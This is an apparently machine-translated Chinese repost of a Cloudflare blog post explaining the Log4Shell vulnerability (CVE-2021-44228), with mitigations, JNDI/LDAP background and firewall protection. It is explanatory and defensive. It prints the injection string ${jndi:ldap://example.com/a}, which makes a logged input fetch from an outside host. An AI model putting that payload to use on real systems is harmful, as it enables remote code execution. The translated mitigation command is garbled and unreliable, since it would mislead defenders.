Log4j2 漏洞詳解 (CVE202144228)Log4j2漏洞的詳細說明(CVE202144228)在這篇博文的前一個版本中,推薦了幾種略有不同的緩解方法。Apache Log4j項目更新了它的官方指南,我們也根據它的推薦更新了這篇博文。昨天,2021年12月9日,在流行的基于Java的日志包Log4j中發現了一......
在這篇博文的前一個版本中,推薦了幾種略有不同的緩解方法。Apache Log4j項目更新了它的官方指南,我們也根據它的推薦更新了這篇博文。
昨天,2021年12月9日,在流行的基于Java的日志包Log4j中發現了一個非常嚴重的漏洞。此漏洞允許攻擊者在遠程服務器上執行代碼;所謂的遠程代碼執行(RCE)。隨著Java和Log4j的廣泛使用,這可能是自Heartbleed和ShellShock以來互聯網上最嚴重的漏洞之一。
漏洞CVE202144228影響Log4j介于2.0beta9和2.14.1之間的版本2。在2.16.0中打了補丁。
在本帖中,我們將介紹該漏洞的歷史,它是如何被引入的,以及Cloudflare如何保護我們的客戶。
Cloudflare使用基于Java的軟件,我們的團隊已經采取措施來確保我們的系統不會受到攻擊,或者降低該漏洞的風險。同時,我們引入了防火墻規則來保護我們的客戶。
但是,如果您的公司使用基于Java的軟件,其中使用了Log4j,那么您應該立即查閱關于如何減輕和保護您的系統的章節,然后閱讀其余部分。
如何降低CVE漏洞風險202144228
實施以下緩解方法之一:Java 8(或更高版本)的用戶應升級到版本2.16.0。Java用戶應該升級到2.12.2版。
或者,在2.16.0以外的任何版本中,可以從類路徑中刪除JndiLookup類:zipqd log4jcore*。jarorg/Apache/logging/log4j/core/lookup/JNDI lookup . class
漏洞歷史記錄
2013年2.0beta9版本中,Log4j包增加了“JNDILookup插件”來發布LOG4J2313。要理解這種變化是如何引起問題的,您需要了解一點JNDI:Java命名和目錄接口。
JDNI從20世紀90年代末開始被引入Java。它是一種目錄服務,允許Java程序通過目錄查找數據(以Java對象的形式)。JDNI有多個服務提供者接口(SPI ),支持它使用各種目錄服務。
比如SPI存在于CORBA COS(公共對象服務)、Java RMI(遠程方法接口)注冊表和LDAP中。LDAP是一種非常流行的目錄服務(輕量級目錄訪問協議),并且它是CVE202144228的主要焦點(盡管也可以使用其他SPI)。
Java程序可以同時使用JNDI和LDAP來查找包含可能需要的數據的Java對象。例如,在標準的Java文檔中,有一個與LDAP服務器通信以從對象中檢索屬性的示例。它使用URL LDAP://localhost:389/o = JNDITutorial從運行在同一臺機器(localhost)的端口389上的LDAP服務器中查找JNDI教程對象,并繼續從中讀取屬性。
正如教程所說:“如果您的LDAP服務器位于另一臺機器上或使用另一個端口,那么您需要編輯LDAP URL”。因此,LDAP服務器可能運行在不同的機器上,并且可能位于互聯網上的任何地方。這種靈活性意味著,如果攻擊者能夠控制LDAP URL,就可以讓Java程序從攻擊者控制的服務器上加載對象。
以上是JNDI和LDAP的基本情況;它們是Java生態系統的重要組成部分。
但是在Log4j的情況下,攻擊者可以通過嘗試在Log4j中寫入${jndi:ldap://example.com/a}這樣的字符串來控制LDAP URL。如果發生這種情況,Log4j將連接到example.com上的LDAP服務器并檢索對象。
發生這種情況是因為Log4j包含一種特殊的語法格式${ prefix:name },其中prefix是許多不同的查找值之一,name應該在這些查找值中進行計算。例如,${Java:version}是Java的當前運行版本。
LOG4J2313添加了以下jndi查找:“jndi lookup允許通過JNDI檢索變量。默認情況下,該項的前綴將是java:comp/env/,但如果該項包含':',則不會添加前綴。"
當:存在于關鍵字中時,如${ JNDI:ldap://example . com/a }所示,將沒有前綴,并將在LDAP服務器中查詢該對象。這些查找可以在Log4j的配置中和記錄行時使用。
因此,攻擊者只需要找到一些記錄的輸入,然后添加${jndi:ldap://example.com/a}這樣的內容。這可以是一個普通的HTTP頭,比如UserAgent(通常是記錄的),也可以是一個也可以記錄的表單參數,比如username。
這種情況在使用Log4j的基于Java的網絡軟件中可能很常見。更有甚者,使用Java的非聯網軟件在不同系統間傳輸數據時也可能利用漏洞。
例如,可以將包含漏洞的用戶代理字符串傳遞給用Java編寫的執行索引或數據科學的后端系統,并且可以記錄該漏洞。這就是為什么所有使用Log4j version 2的基于Java的軟件都必須立即打補丁或應用緩解措施。即使網絡軟件不是用Java編寫的,該字符串也可能被傳遞給使用Java的其他系統,從而使攻擊者利用該漏洞。
或者,假設有一個基于Java的計費系統,會記錄找不到客戶名字的情況。惡意用戶可能會創建名稱包含漏洞的訂單,這些訂單可能會經過多次跳躍(并且需要很長時間),通過客戶數據庫從Web服務器進入計費系統,最后在其中被執行。
而且Java不僅僅用在網絡化系統中,很多其他系統中也會用到。舉個例子,不難想象,包裹處理系統或者用來掃描盒子上二維碼的非接觸式門卡,如果用Java寫,用Log4j,就容易受到攻擊。在一種情況下,精心制作的QR碼可能包含帶有漏洞字符串的郵寄地址;在另一種情況下,精心編程的門卡可能包含漏洞,并被跟蹤進出的系統記錄下來。
執行常規工作的系統可能會提取漏洞內容并在以后記錄下來。因此,在用Java編寫的某些索引、打包或歸檔過程無意中記錄了惡意字符串之前,該漏洞可能一直處于休眠狀態。這可能在幾個小時甚至幾天內發生。
Cloudflare防火墻保護
Cloudflare為使用我們的防火墻阻止HTTP請求中常見位置的jndi查找的客戶引入了基于規則的保護。隨著攻擊者不斷修改和利用漏洞,我們也在不斷優化這些規則。
特別聲明:以上文章內容僅代表作者本人觀點,不代表ESG跨境電商觀點或立場。如有關于作品內容、版權或其它問題請于作品發表后的30日內與ESG跨境電商聯系。
二維碼加載中...
使用微信掃一掃登錄
使用賬號密碼登錄
平臺顧問
微信掃一掃
馬上聯系在線顧問
小程序
ESG跨境小程序
手機入駐更便捷
返回頂部